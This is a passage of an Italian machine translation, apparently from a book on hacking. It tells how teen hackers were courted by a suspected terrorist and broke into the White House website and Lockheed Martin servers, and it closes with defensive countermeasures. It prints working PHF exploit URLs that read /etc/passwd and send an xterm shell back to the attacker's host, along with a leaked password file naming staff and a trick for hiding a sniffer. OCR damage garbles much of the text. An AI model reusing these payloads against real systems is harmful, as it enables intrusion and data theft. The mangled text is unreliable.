Intervista email. "Cosi gli ho dato il mio numeria@efono. Il giorno dopo ho ricevuto una
chiamare dal cosiddetto agente dell'FBI, ma avevaeredibilmente forte
Accento pakistano. "
"Ha detto che il suo nome era Michael Gordon eerhecon I'FBI in
Washington, DC, ", ha detto il giornalista SavecOk&i sono reso conto allora che non aveva
stato Ibrahim tutti insieme. "Mentre alcune perssoreo state chiedendo se il supporto
terrorismo insita potrebbe essere un pungiglionk SBvecOre stava raggiungendo il contrario
conclusione: che il ragazzo che dichiara di esgeragente dell'FBI era davvero lo stesso
terrorista, cercando di vedere se i ragazzi ergpodti a fischiare su di lui.
L'idea che questo potrebbe essere non sembra tavopee FBI
a stare in piedi. Se il governo federale ha voatprire quali questi ragazzi
erano capaci e disposti a fare, il denaro saretaibe scorre.
Quando I'FBI ritiene una situazione é abbastanaaegper eseguire una puntura, hanno messo
soldi dietro lo sforzo. Promettendo 1.000 dollaat peOh e poi non pagamenti
ing non avrebbe alcun senso.
A guanto pare solo un hacker, in realta ha viswldi da Khalid:
Chameleon. "Sono andato a mio post-botteghino wattma, e c'era
un assegno di mille dollari, con un numero da cliain Boston, "
Chameleon é stato citato come dicendo in un'@rad Newsstoria
(4 novembre 1998). Khalid capito che aveva mapgmderno
reti informatiche; I'assegno era di pagamento @endppe. Camaleonte
incassato I'assegno. Due settimane dopo fu petaaigil'FBI e interrogati
gated circa il pagamento, sollevando la questinteressante di come la
governo sapeva dei mille dollari. Questo era pril@ie9/11,
quando I'FBI si € concentrata sulla criminalitaioaale e prestando scarsa attenzione
alla minaccia terroristica. Chameleon ammesso el preso i soldi, ma
ha insistito per iWired Newgyiornalista che non aveva fornito alcuna go-
mappe di rete verno.
Capitolo 2 quando i terroristi venire chiamata
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Sebbene avesse confessato di accettare denaraeiaarista straniero,

che avrebbe potuto portare una carica di spionagtagoossibilita di un

frase molto lunga, senza costi erano mai depositapprofondire il mistero.

Forse il governo voleva solo parola per diffond#racker in com-

Comunita che fare affari con agenti stranieri guteeessere rischioso. Forse

il controllo non e stato da Khalid, dopo tutto, dea FBI.

Pochi sanno la vera identita di Chameleon, e lolezmolto

di mantenere in questo modo. Volevamo otteneradavsrsione della storia. Ha rifiutato
per parlare della questione (solo dandosi un ouizioaando lui

penso Khalid era una Fed proprio in posa come marista). Se fossi nella sua posizione
zione, probabilmente non avrebbe voluto esserevistato sull'argomento sia.

Il Harkat ul-Mujahideen

Durante la ricerca i registri Internet Relay Clgabrnalista McKay ha scoperto che
Stesso Khalid aveva a un certo punto descritteo&iagpi hacker come un bro

BER di Harkat-ul-Ansar.

3

Secondo lintelligence Review Asia del Sud

"L" Harkat-ul-Ansaré stata definita una organizzazione terroristaglidStati Uniti a causa
per la sua associazione con la esiliato sauditan@sarrorista bin Laden in

1997. Per evitare le ripercussioni del divieto d8ghti Uniti, il gruppo e stato rifusione come
la Harkat ul-Mujahideemel 1998. "

4

Il Dipartimento di Stato americano ha ripetutamenesso in guardia su questo gruppo.
Un elemento da State legge, "i funzionari pakiskemno detto che un raid aereo Usa su
23 ottobre [2001] aveva ucciso 22 guerriglieri gékni che combattevano

al fianco dei talebani nei pressi di Kabul. | mertano membri della Harkat
ul-Mujaheddin ... [che] erano stati immessi sul &@tpnento di Stato del

lista ufficiale delle organizzazioni terroristichel 1995. "

5

In realta, la Harkat € oggi uno dei 36 gruppi deaigdallo Stato

come organizzazioni terroristiche straniere. lltrmgoverno, in altre parole, con-

li ritiene tra gli attori baddest sulla faccia dgbbo.

| giovani hacker, ovviamente, non lo sanno. Peg,lerstato tutto un

gioco.

Per quanto riguarda Khalid, un maggiore generdle tt@ze armate indiane, dando una
affrontare il tema della sicurezza delle informazioel mese di aprile del 2002, ha confermato
Khalid come un terrorista, raccontando il suo pidabsu di hacker collega con "Khalid
Ibrahim di pakistano-based Harkat-ul-Ansar. "

6

Il generale sembrava LOCALIZZAZIONE

dissanguate, tuttavia, che lo stesso non é staatiklbasata in Pakistan, ma in

paese del generale, a Delhi, in India.

All'indomani del 9/11

Alcuni hacker manipolare e ingannare. Essi ingasnaistemi informatici in

pensando di avere |'autorizzazione che essi harfatta rubato; praticano
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ingegneria sociale per manipolare le personenaldi raggiungere i loro obiettivi. Tutto
questo significa che quando si parla di un hadierscolta con attenzione per vedere se



quello che si sta dicendo, e il modo in cui lo dmgggeriscono che possa essere
creduto. A volte sei solo non certo.

Il mio coautore e io non sono certo di quello chieacdetto di neOh sua reazione
Tion a 9/11. Crediamo che basta per condividerlo:

Sai quanto ho pianto quel giorno? Ho sentito dusicla mia vita

era finita.

Questo e stato accompagnato da una risata nervgeac- cosa significa?

Non abbiamo potuto raccontare.

E pensare che forse ho avuto qualcosa a che fareesso. Se fossi andato

in Lockheed Martin o Boeing e ottenuto ulterioiarmazioni, Si

avrebbe utilizzato tale. E 'stato un brutto momep#ome e per I'America.

Ho pianto perché non ho mai pensato di denuncidlon ho usato la mia migliore
giudizio. Questa e la ragione che mi ha assuntof@er tutte queste cose ...

Se avessi anche un mignolo dita di una mano netceommerciale ...

[Il pensiero] era assolutamente devastante.

In realta ho perso tre amici nel World Trade Centdon ho mai

sentita cosi male.

Molti hacker sono adolescenti o anche pill gioveréhe troppo giovane per
riconoscere il potenziale pericolo di rispondete athieste da parte di qualcuno
che potrebbe costituire una minaccia per il nostrese? Personalmente, mi piacerebbe pensare
9/11 ha fatto gli hacker americani - anche moltivghi - sospettoso,

improbabile che truffare da un terrorista. Speio sbe ho ragione.

La Casa Bianca break-in

La storia della sicurezza informatica in un modmapelo alla storia antica

della crittografia. Per secoli, i responsabili detlice hanno ideato cifre che
etichettato "unbreakable". Anche oggi, in un‘epdiceomputer in grado di lettura

ily crittografare un messaggio utilizzando un omeetpad, o una chiave che contiene centinaia
di personaggi, la maggior parte dei codici sonmeaméragili. (Code-making America e
-code rompere l'organizzazione, la National Segéency, vanta un mero

BER dei piu grandi, piu veloci, piu potenti computel mondo.)

La sicurezza informatica € come un continuo gidagme#o e al topo, con la sicurezza
esperti da un lato e gli intrusi dall'altro. L'ogevo Windows

sistema contiene linee di numerazione codice andetiimilioni. E 'un
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no-brainer che qualsiasi software di enormi dimamstonterra inevitabilmente vulnerabile
nerabilities che gli hacker dedicati alla fine st
Nel frattempo, i lavoratori dell'azienda, burocrativolte anche la sicurezza
professionisti potranno installare un nuovo compaten'applicazione e si affacciano sul
passo di cambiare la password di default, o largbisine di uno che é ragione
nevolmente sicuro - lasciando il dispositivo in @itaazione di vulnerabilita. Se leggete il
notizie di attacchi di hacker e effrazioni, sai gige militari e
siti governativi, e anche il sito web della Casaritia, sono gia stati
compromessa. In alcuni casi ripetutamente.

Ottenere su un sito e deturpare una pagina Wel €asa - la maggior parte delle

tempo é essenzialmente banale, se fastidioso. Epmalte persone si affidano a un unico
password per ogni uso; se irruzione in un sito Wata a catturare password

parole, gli attaccanti potrebbero essere in gradeaackdere ad altri sistemi

la rete e fare molto piu danno. neOh dice che 8@9ha



e altri due membri del gruppo hacker gLobalLheLtofatroprio questo,

su uno dei punti piu sensibili negli Stati Unit: Casa Bianca.

Credo che la Casa Bianca stava facendo una reilagtiaine del loro OPERATE
sistema opera-. Avevano tutto inadempiente. E pel jgeriodo

di dieci, quindici minuti, Zyklon e MostFearD riug@ ottenere

in, ottenere il file di password ombra, crack, insee modificare il

Sito WebEro li mentre stavano facendo.

E 'stato fondamentalmente essere al posto giustooahento giustdzra

solo per caso, solo un colpo di fortuna che € ssga@ essere on line solo
quando il sito e stato in lavorazione.

Avevamo discusso nella gLobalLhelLL chat room. Stato svegliato

da una telefonata intorno 03:00 dicendo che staviaeendolo

ha detto, "Stronzate. Dimostralo. "Sono saltatoraid computer. Abbastanza sicuro,
lo hanno fatto.

MostFearD e Zyklon fatto la maggior parte di edsiohanno dato 'ombra

file per rompere il piu velocemente possibile. Hemuto una [password] - una semplice
parola del dizionarioE 'stato a questo proposito.

neOh fornito una parte di quello che dice ¢ il dlgpassword che il

altri ottenuti e passati a lui, elencando quelle seambra essere un paio di
utenti autorizzati sul personale della Casa Bianca

7

root: x: 0: 1: Super-User: /: / shin / sh
daemon: x: 1: 1 :: /:

bin: x: 2: 2 :: / usr / bin:

sys: x:3:3:: [/

adm: x: 4: 4: Admin: / var / adm:

uucp: x: 5: 5: uucp Admin: / usr / lib / uucp:
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nuucp: X: 9: 9: uucp
Admin: / var / spool / uucppublic: / usr / lib /¢u/ uucico
ascolta: x: 37: 4: Network Admin: / usr / net /:nls
nessuno: x: 60001: 60001: Nobody: /-
noaccess: x: 60002: 60002: No Accesso utente: /-
nobody4: x: 65534: 65534: SunOS 4.x Nobody: /:
bing: x: 1001: 10: Bing Feraren: / usr / utentirido / bin / sh
orion: x: 1002: 10: Christopher
Adams: / usr / utenti / orion: / usr / ace / sdshel
webadm: x: 1130: 101: Web
Administrator: / usr / utenti / webadm: / bin / sh
cadams: x: 1003: 10: Christopher
Adams: / usr / utenti / cadams: / usr / ace / dtishe
bartho_m: x: 1004: 101: Mark
Bartolomeo: / usr / utenti / bartho_m: / usr / Asdshell
monty: x: 1139: 101: Monty Haymes: / usr / utemtidnty: / bin / sh
Debra: x: 1148: 101: Debra Reid: / usr / utentebEa: / bin / sh
connie: x: 1149: 101: Connie
Colabatistto: / usr / utenti / Connie: / bin / sh



bill: x: 1005: 101: William Hadley: / usr / uteritbill: / bin / sh

Questo e in forma di un file di password Unix owxnil tipo utilizzato quando

le password crittografate sono memorizzate in lenstparato, protetto. Ogni linea
elenca il nome di una persona che ha un accouststema. La voce

"Sdshell" su alcune linee suggerisce che questtiyfger una maggiore sicurezza,
portavano un piccolo dispositivo elettronico chiamfRSA SecurelD che scarti
gioca un numero di sei cifre che cambia ogni 6@iséic Per firmare, queste

gli utenti devono inserire il numero a sei cifreualizzato in quel momento sul loro
Dispositivo SecurelD insieme a un numero di PINe(pho essere assegnato a
alcune imprese o di auto-scelto in altri) .1l siteb della Casa Bianca era
deturpate allo stesso tempo come il rodaggio, pestrare che c'era stata,
secondo neOh, che ha fornito un link al defacerfatdi Figura

2-1).

8

Oltre che porta un simbolo per il gruppo di hadjeobalLheLL, il

messaggio contiene anche un logo per 'Hong KormggBaDuo. E 'stato,

neOh dice, un nome falso costituito per aggiungerelemento di inganno.

Come neOh ricorda, i ragazzi responsabili di qu€stsa Bianca trucco

non si sentiva alcuna esaltazione particolare €i potuto penetrare

quello che dovrebbe essere tra i sei 0 dozzingi 8/eb piu sicuri

la nazione. Erano "piuttosto impegnati a cercangedietrare tutto”

neOh spiegato, "per dimostrare al mondo che sidatioi snigliori.” Invece

di pacche virtuali sulle spalle di tutto, é statize, piu un atteggiamento di

"Buon lavoro, ragazzi, abbiamo finalmente ottenab® cosa € il prossimo?”

Ma non hanno avuto molto tempo per altri furti datgiasi tipo.

| loro mondi stavano per crollare, e che una paeteacconto porta il

storia indietro intorno ancora una volta il misbso Khalid.
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Figura 2-1: pagina Defacement su bianco
Sito web della Casa, maggio 1999.
Zyklon, altrimenti noto come Eric Burns, riprendleasicconto a questo
punto. Non era mai in realta un membro di gLoballhealice, ma ha
rimanere in giro su IRC con alcuni dei ragazzi.l&lsbia descrizione dei fatti,
la Casa Bianca divenne mod possibile quando haestmop sito Web
era suscettibile di essere compromessa sfruttandora in un campione
programma chiamato PHF, che viene utilizzato peedere a una rubrica basata sul Web
database. Questa € stata una vulnerabilita critieeanche se la gente a I'hacker
comunita lo sapeva ", non molte persone sono s&atedo”, dice Zyklon.
La realizzazione di un certo numero di passi (desarella sezione Insight al
fine di questo capitolo), é stato in grado di ottenroot su whitehouse.gov e
stabilire I'accesso ad altri sistemi sulla reteleccompreso il bianco
Mail server House. Zyklon a quel punto ha avutodpacita di intercettare qualsiasi
messaggi tra membri dello staff della Casa Biantawbblico, anche se, naturalmente
quei messaggi non avrebbero rivelato informazitassificate.
Ma era anche, Zyklon dice, in grado di "prendera copia della password e
shadow file. "Hanno appeso attorno al sito, vedend®lo che potevano trovare,
aspettando che le persone hanno iniziato ad agraldavoro. Mentre aspettava, lui
ha ricevuto un messaggio da Khalid, che ha det#ostéva scrivendo un articolo su



recenti irruzioni, e chiedendo Zyklon se avessdatpgaexploit recenti da raccontare
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su. "Allora gli ho detto che eravamo a destra @tliarweb della Casa Bianca
sito "Zyklon detto.
Nel giro di un paio d'ore di questo scambio, Zykionha detto, hanno visto un
sniffer appaiono sul sito - un amministratore ditesina e stato cercando di vedere
che cosa stava succedendo e cercando di tenectdachi la gente era sul sito.
Solo una coincidenza? O ha fatto avere qualchevopgr essere sospettosi in quel
particolare momento? Sarebbe mesi prima Zyklonextopl
rispondere. Per il momento, non appena hanno atwigtsniffer, i ragazzi
staccato la spina, scesi dal sito, e speravo obvaaw catturato al
amministratore prima aveva preso su di loro.
Ma avevano suscitato un vespaio proverbiale. Glumasettimane
poi I'FBI scese in vigore, arrotondando ogni gLoalll bro
ber erano stati in grado di identificare. Oltreyklén - poi 19,
arrestati in stato di Washington - hanno ancheraffe MostHateD (Patrick
Gregory, anche 19, dal Texas), e MindPhasr (ChadasD®@/isconsin),
insieme ad altri.
neOh e stato tra i pochi sopravvissuti lo sweeplaB#curezza
la sua posizione remota, era irritato, e ha registun defacement sito Web
pagina con un messaggio di sfida; come modificatdgprima serata, si leggeva: "Ascolta
up f ersdellFBIm___ . Nonf___ coninostambri, si perderanno.
stiamo tenendo fbi.gov mentre scrivo questo. E LATTemendo. Abbiamo ottenuto
arrestato perché voi idouts muti riesco a capirevicthato il bianco-
houe .. giusto? cosi ci si prende alll in e vedereno di loro narcs. BUONA
FORTUNAF___ ING .. ci voleva NARC. Non capisci? HHETTO
World Domination ".
E lui firmato: "il spietato, neOh."
9
Conseguenze
Cosi come ha fatto che I'amministratore di sisteapita di essere sniffing cosi presto nella
mattina? Zyklon non ha alcun dubbio sulla rispo@aando la
L'accusa aveva redatto i documenti nel suo castptato una dichiarazione che
informazioni che porta alla conoscenza del gLobalhsausa-in al
Sito della Casa Bianca era stato fornito da unrmédore dell'FBI. Mentre Rammentare
BERS esso, il giornale ha anche detto che l'inftoneaera a New Delhi, India.
In considerazione di Zyklon, non c'é alcun dubblanica persona che aveva detto
sulla Casa Bianca break-in uhicapersona - e stato Khalid
Ibrahim. Uno piu uno fa due: Khalid era un infororatdell'FBI.
Ma il mistero rimane. Anche se Zyklon é correttahe l'intero
storia? Khalid era un informatore, aiutando I'Hidividuare hacker capretto volonta-
ing condurre irruzioni a siti sensibili? O c'e utr@possibile
spiegazione: che il suo ruolo di informatore era soeta della storia, e lui
e stato infatti anche il terrorista pakistano dlgenerale indiano credeva
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era. Un uomo che gioca un doppio ruolo, aiutandmaissa mentre talebani

ha infiltrato I'FBI.

Certamente i suoi timori per uno dei ragazzi lerigce al fit FBI

questa versione della storia.

Solo poche persone conoscono la verita. La domansiano gli agenti dell'FBI

e procuratori federali che sono stati coinvoltidcdoro che conoscono il

storia vera. O erano, anche, di essere ingannati?

Alla fine, Patrick Gregory e Chad Davis sono statidannati a 26

mesi, e Zyklon Burns ha 15 mesi. Tutti e tre hatemminato Ser-

ing loro tempo e sono uscito di prigione.

Cinque anni dopo

In questi giorni I'hacking € piu solo un ricorda lecompagno, ma la sua voce
diventa piu vivo quando parla «I'emozione di fanecazzo non sei

dovrebbe fare, andare luoghi che non dovresti aydaerando di

incontrato qualcosa di fresco ".

Ma é il momento di avere una vita. Dice che staspado di college. Quando
abbiamo parlato, lui era appena tornato da scostingle in Israele. La lingua

non sarebbe troppo di un problema - ha imparaboaieo in elementari

scuola e infatti & stato sorpreso di quanto lordawa.

Le sue impressioni del paese erano misti. Le ragawmo "davvero

grandi "e gli israeliani hanno dimostrato molto @émAmerica. "Sembrano guardare
fino agli americani. "Per esempio, € stato conral@raeliani che erano

bere una bibita che non aveva mai sentito pariachidmata RC Cola; si &€ scoperto
essere un prodotto americano. Gli israeliani speed@®n the spot,

guesto é quello che gli americani bevono. "Ha amot@ntrato” alcuni anti-americano
vibes con le persone che non sono d'accordo goalitica *, ma hanno preso in stride:
"Credo che si ottiene da nessuna parte."

Odiava il tempo - "freddo e piovoso”, mentre Iua &r Poi

c'era il problema computer. Aveva comprato un caepportatile e colare wireless
cialmente per il viaggio, ma ha scoperto che "difiei sono costruiti fuori di questo
pietra enorme spessore. "Il suo computer potrebdere 5 o 10 reti, ma il segnale
segnali erano troppo deboli per connettersi e dogatmminare 20 minuti per un posto
dove avrebbe potuto accedere.

Cosi il compagno e tornato a Miami. Un adolesceateun crimine per il suo rap
fogli, sta ora vivendo la sua eredita, cercanddedidere di andare a

college. Ha 20 anni, e non fare niente.

Vecchio amico del compagno neOh lavora per unandaidi telecomunicazioni (un nove
a cingque posti di lavoro € "non va bene"”, dice),ama sara lui a breve sara a Los Angeles per
tre mesi a un lavoro di lavoro manuale ha presolgela paga € cosi tanto

piu di quello che sta facendo in questo momentdeBipare societa tradizionale, spera
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a mettere via abbastanza per un acconto su unaedd@omunita
dove vive attualmente.
Quando i tre mesi fatica ben retribuiti e finite0Oh, troppo, parla
sull'avvio di college - ma non per studiare infotite "La maggior parte delle
le persone che ho mai incontrato che hanno gradfalimatica sanno
merda-tutto ", dice. Invece, gli piacerebbe impatitael mondo degli affari e organizzazione
gestione nale, poi entrare nel campo dei compuieelo di business.



Parlando suoi vecchi exploit porta in primo piaasula fissazione Kevin di nuovo. A
In che misura ha fatto immaginare se stesso camenivedle mie scarpe?

Volevo farsi prendere? Ho fatto e non I'ho fattgsé&re spettacoli catturati

"Posso farlo, I'ho fatto.” Non e come avrei voltdosi prendere in acquisto

pongono. Ho voluto farsi prendere cosi vorrei cottdra, sarei

rilasciato, sarei I'hacker che ha ottenuto via. Momuscire, ottengo

un buon lavoro del suono con un ente governativoreei adattarsi a destra

con la metropolitana.

Quanto grande é la minaccia?

La combinazione di terroristi determinati e haakapretto impavidi potrebbe
disastroso per questo paese. Questo episodio lastiato chiedendosi quanti

altri Khalids sono la fuori reclutando bambini facae gli adulti non patriottici

con I'hacking competenze) e che hanno fame dopldii, § riconoscimento personale,
o la soddisfazione di realizzare con successo dodifficili. Il post-

Reclutatori Khalid possono essere piu reticentereenfacile da identificare.

Quando ero in detenzione preventiva accusatovetthacking, ero

avvicinato piu volte da un signore della droga oddana. Stava affrontando la vita in
prigione federale senza possibilita di liberta dniothale. Mi ha offerto un dolce

deal: sarei pagato $ 5 milioni di dollari in cortigrer I'hacking in

"Sentry" - il Federal Bureau of Prisons sistemalinfatico - e

liberandolo dalla custodia. Questo ragazzo erasa vera e gra- mortale

ous. Non ho accettato la sua offerta, ma ho datpréssione che lo avrebbe aiutato
out per evitare qualsiasi confronto. Mi chiedo cne@h avrebbe fatto in

una situazione simile.

I nostri nemici possono anche essere allenatidoldati nell'arte di cyber dalla guerra
tariffa per attaccare la nostra infrastrutturaferdiere la propria. Sembra un no-
brainer che questi gruppi avrebbero anche reclinacker informati da

in qualsiasi parte del mondo, per la formazionere progetti mission-critical.

Nel 1997 e di nuovo nel 2003, il Dipartimento délidesa ha lanciato
Funzionamento ricevitore ammissibile - uno sforeotestare la vulnerabilita di questo
nazione attacco elettronico. Secondo un resocaribligato nel

Washington Times

10

circa il precedente di questi sforzi, "Senior Pgata

I leader sono stati storditi da una esercitazionigame che mostra come sia facile per
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hacker per paralizzare US reti di computer miligagivili ". Il
articolo continua a spiegare che la National SecAgency assemblato un
gruppo di suoi specialisti di computer come unaiésiya rossa" di hacker, ha permesso di
utilizzare solo attrezzature disponibili off-theeicomputer al pubblico, lungo
con tutti gli strumenti di hacking, tra cui codidieexploit, potevano scaricare
da Internet o bacheche elettroniche.
In pochi giorni gli hacker team Red infiltrati ss&¢mi informatici
controllare parti di rete elettrica della naziongoe una serie di
comandi potrebbero hanno trasformato le sezionbdie paese. "Se I'eserci-
CISE era stato reale ",@hristian Science Monitdna riferito, "si puo
hanno interrotto il Dipartimento dei sistemi di aomcazione della difesa
(Tirando fuori la maggior parte del Comando deliffax) e ha guadagnato l'accesso al com-



sistemi informatici a bordo di navi della marinaaamana. "

11

Nella mia esperienza personale, sono stato in gtasloonfiggere i meccanismi di sicurezza
utilizzato da un numero di Baby Bell per contradl#accesso agli switch telefonici. La
dieci anni fa, ho avuto il controllo completo suggeor parte degli switch gestiti da
Pacific Bell, Sprint, GTE, e altri. Inmaginate das che un profilo delle risorse
gruppo terroristico ful avrebbe provocato con kssb livello di accesso.

I membri di Al Qaeda e di altri gruppi terroristltanno un record di utilizzo

reti di computer a pianificare atti terroristiciekzidenza suggerisce che ter-
rorists fatto un certo uso di Internet nella piexaizione delle loro attivita per il
9/11 attacchi.

Se Khalid Ibrahim é riuscita a ottenere informakzgtiraverso qualsiasi

i giovani hacker, nessuno e riconoscendo essoreSgagvero collegato

con gli attacchi al World Trade Center e il Pentagaefinitivo

prova mancante. Ma non si sa quando lui 0 un snergesara rieleggibili

pera sulla scena cyberspazio, traina per aiutagéinui che ottengono un brivido
di "fare merda stai non dovresti fare, Going Plaget

non dovrebbero andare. "I bambini che potrebbensgre che la sfida sono

viene offerto e "cool".

Per i giovani hacker, di sicurezza debole rimanewito continuo. Ancora

gli hacker in questa storia avrebbero dovuto risgeee il pericolo in una straniera
nazionale reclutarli compromettere sensibili netormatiche US

funziona. Mi chiedo quanti altri neOhs sono statilutati da

I nostri nemici.

Buona sicurezza non € mai stato piu importantarche mondo popolato da
terroristi.

o

Nsight

neOh ci ha fornito dettagli su come ha inciso nedekheed

Sistemi informatici Martin. La storia € una testimanza sia alla innovazione
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di hacker ("Se c'é una falla nella sicurezza,dodremo” potrebbe essere il
di hacker motto) e un avvertimento per ogni orgaamne.
Ha rapidamente determinato che Lockheed Matrtinrneegecuzione il proprio
Domain Name Server. DNS, naturalmente, € il prdtodoternet che, per
esempio, si traduce ("risolve™) www.disney.com 881187.189.55, un
indirizzo che puo essere utilizzato per pacchetiiessaggi rotta. neOh sapeva che un rezza
gruppo di ricerca rezza in Polonia aveva pubblicatello che gli hacker chiamano erploit-
un programma di progettazione specificamente pacedre un particolare vulnerabilita - a
usufruire di una debolezza nella versione del DN&loockheed era
esecuzione.
La societa utilizzava un'implementazione dei proio®NS
chiamato BIND (Berkeley Internet Name Domain).rligpo polacco aveva
scoperto che una versione di BIND era suscettihilen tipo di attacco
che coinvolge umuffer overflow remotoe che la versione era quella dell'essere
utilizzato a Lockheed Martin. Seguendo il metode akieva scoperto
on-line, neOh é stato in grado di ottenere i pewiildi root (amministrativi) sia sul
| server DNS Lockheed primario e secondario.



Dopo aver ottenuto radice, neOh indicato per iatitace password ed e-mail
I'installazione di un programma di sniffer, chesagi come un intercettazione telefonica computer.
Qualsiasi traf-

fic inviato attraverso la rete € nascosto cattyddtacker di solito manda

i dati da memorizzare in un luogo in cui sara inatgile per essere notato. A
nascondere il registro sniffer, neOh dice, ha oreat directory con un nome che

era semplicemente uno spazio, rappresentata garite il percorso effettivo ha usato era
"/ Var [ adm / ..." C'era una breve ispezione, nmménistratore di sistema potrebbe
trascurare questo elemento innocuo.

Questa tecnica di nascondere il programma sniffentre efficace in molti

situazioni, & abbastanza semplice; molto esistostan piu sofisticati per

coprire le tracce di un hacker in una situazioneegquesta.

Prima mai scoprire se sarebbe stato in grado ditpsme ulteriormente nel

Rete Lockheed Martin per ottenere informazioni adadi riservate,

neOh stato deviato verso un altro compito. Filesg®indi Lockheed Martin

rimase al sicuro.

Per I'hnack della Casa Bianca, Zyklon dice che ahzente ha un programma chiamato
CGI (Common Gateway Interface) scanner, che arsliztema di destinazione

tem di vulnerabilita CGI. Ha scoperto il sito wata suscettibile

attaccare usando I'PHF sfruttare, che si avvalm girogrammatore

errore commesso dallo sviluppatore dello script RidBrica).

PHF e un'interfaccia basata su form che accetteoore come input e guarda in alto

il nome e l'indirizzo le informazioni sul serve kscript chiamato funzione

zione escape_shell_cmd (), che avrebbe dovutofetitane I'input per qualsiasi
caratteri speciali. Ma il programmatore aveva kscun carattere fuori la sua lista,

il carattere di nuova riga. Un attaccante espestocepbe approfittare di
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questa svista fornendo input nella forma che inshad'codificato
versione (0Ox0A) del carattere di nuova riga. L'ondi una stringa con questo caratte-
trucchi Acter lo script in esecuzione qualsiasi eodp che |'attaccante
sceglie.
Zyklon digitato nel proprio browser 'URL:
http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%0a/b
cat% 20 / etc / passwd
Con questo, fu in grado di visualizzare il file ldgdassword per whitehouse.gov.
Ma voleva guadagnare il controllo completo sopseilver web della Casa Bianca. Lui
sapeva che era altamente probabile che le portedetr X saranno bloccati dal
firewall, che gli avrebbe impedito di collegameatqualunque di quelli Ser-
gelati su whitehouse.gov. Cosi, invece, ha ancoaavolta sfruttato il buco PHF da
entrare
http://www.whitehouse.gov/cgi-bin/phf?Qalias=x%G0a/u
X11R6 / bin / xterm% 20-ut% 20-Display% 20zyklopsaddress: 0.0
Cio ha causato un xterm da inviare dal server dadisa Bianca per un com-
computer sotto il suo controllo in esecuzione unexeX. Ciog, invece collegata
zionea whitehouse.gov, in effetti e stato al comandoad€lhsa Bianca
Sistema per la connessionkia (Questo e possibile solo quando il firewall permet
connessioni in uscita, che e stato a quanto passd qui.)
Ha poi sfruttato una vulnerabilita di buffer ovexl nel sistema pro-



gram - ufsrestore. E questo, dice Zyklon, gli hamgsso di guadagnare root su
whitehouse.gov, cosi come l'accesso al serversfafgdasa Bianca e

altri sistemi sulla rete.

C

OUNTERMEASURES

Le gesta di neOh e compagno descritto sollevanajdastioni per tutti

aziende.

Il primo e semplice e familiare: Tenere correntéudte le ultime operativo

del sistema e delle applicazioni uscite dai vdstmitori. E 'importante prestare
CISE vigilanza nel tenere il passo con e instalbpralsiasi relative alla sicurezza
patch o fix. Per assicurarsi che questo non é ttona base hit-or-miss, tutto
le aziende dovrebbero sviluppare e attuare un anognra di gestione delle patch,
con l'obiettivo di allertare il personale adeguagni volta che una nuova patch
e rilasciato per i prodotti che I'azienda utilizzsoftware del sistema operativo
particolare, ma anche il software applicativo famhware.

E quando una nuova patch diventa disponibile, @sgere installato appena
possibile - immediatamente, a meno che questo lpoereperazione aziendale
zioni; altrimenti, nel piu breve tempo pratico. Neulifficile da capire
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dipendenti oberati di lavoro che cedono alla poessdi concentrarsi su quelli
progetti altamente visibili (sistemi di installam® per i nuovi lavoratori, per fare solo un
esempio) e andare in giro per l'installazione daditch su un time-disponibile
base. Ma se il dispositivo senza patch é pubblictéengccessibile da Internet,
che crea una situazione molto rischiosa.
Numerosi sistemi sono compromesse a causa delleamza di cerotto stione
gestione. Una volta che una vulnerabilita vienaildjata pubblicamente, la finestra di esposizione
certo e significativamente aumentata fino a quahdenditore ha rilasciato una patch che
risolve il problema, ei clienti hanno installato.
L'organizzazione ha bisogno di fare l'installazidnpatch ad alta priorita
articolo, con un processo di gestione delle patcméle che riduce la finestra
esposizione piu rapidamente possibile alle esigdnmen interferire
con operazioni business-critical.
Ma anche di essere vigili su installazione di patoh e sufficiente. neOh dice
che alcune delle irruzioni a cui ha partecipatoosstati compiuti
attraverso l'uso di exploit "zero-day" - un'intarse basata su un vulnerabile
litd che non & noto per altri al di fuori di un @ado gruppo di hacker di bilan- cio
muore. "Zero day" € il giorno prima sfruttano ldnerabilita, e quindi la
giorno il venditore e la comunita di sicurezza @ienconoscenza di esso.
Poiché c'é sempre un potenziale di essere compsang@sun zero-day
sfruttare, ogni organizzazione di utilizzare il gotto difettoso e vulnerabile fino a
patch o soluzione viene rilasciato. Cosi come siffidurre il rischio di questo
I'esposizione?
Credo che l'unica soluzione possibile consistéutiditzare unalifesa in profondital modello.
Dobbiamo presumere che i nostri sistemi informatedessibili al pubblico saranno
vulnerabile ad un attacco giorno zero a un certdguel tempo. Quindi, dovremmo
creare un ambiente che riduce al minimo i danremqmtli di un cattivo ragazzo
puo fare. Un esempio, come accennato in precedérdianettere a disposizione del pubblico
sistemi sulla DMZ del firewall aziendale. Il DMZrteine, preso in prestito



dai militari / sigla politica pezona demilitarizzata si riferisce a

creazione architettura di rete in modo che i sisiepubblico ha accesso

(Server Web, server di posta, server DNS, e sisulijo isolati dal

sistemi sensibili sulla rete aziendale. Distribmgi@i un archi- rete

tura che protegge la rete interna & un esempidetial

di profondita. Con questa disposizione, anche isgagker scoprono una precedenza
sconosciuto vulnerabilita e un server server Wdbpmsta € compromessa,

I sistemi aziendali sulla rete interna sono angoodetti da

un ulteriore livello di sicurezza.

Le aziende possono montare un altro contromistiGaeé monitoraggio

ing gli host di rete o individuali per I'attivitde appare insolito o

sospettoso. Un attaccante di solito compie detet@iazioni una volta che lui o lei
ha compromesso successo un sistema, come terdabttenere
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password criptate o in chiaro, l'installazione nayorta sul retro, modifica con-
i file di configurazione per indebolire la sicurezo il sistema di modifica, applicazione o
| file di log, tra le altre iniziative. Avere ungeesso in atto che controlla per
questi tipi di comportamento degli hacker tipicawisa il personale adeguato a
guesti eventi possono aiutare con controllo dendan
Su un argomento a parte, sono stato intervistaionerevoli volte dalla stampa
circa i modi migliori per proteggere il vostro busss e il vostro personal computer
Risorse in ambiente ostile di oggi. Uno dei mieic@mandazione di base
zioni e quello di utilizzare una forma piu fortealitenticazione rispetto alle password statiche.
Lei non potra mai sapere, se non forse dopo b fatando qualcuno ha altro
scoperto la password.
Un certo numero di tecniche di sign-on di secorndglb sono a disposizione per essere usato
in combinazione con una password tradizionalefgreire maggiore
sicurezza. Oltre a SecurelD di RSA, menzionata@t@denza, SafeWord
PremierAccess offre token generatori di passwadificati digitali,
smart card, biometria, e altre tecniche.
| compromessi di utilizzo di questi tipi di contiali autenticazione sono |l
costo aggiunto e lo strato supplementare di dispgiagni utente. Tutto
dipende da quello che si sta cercando di proteg§assword statiche possono essere suffi-
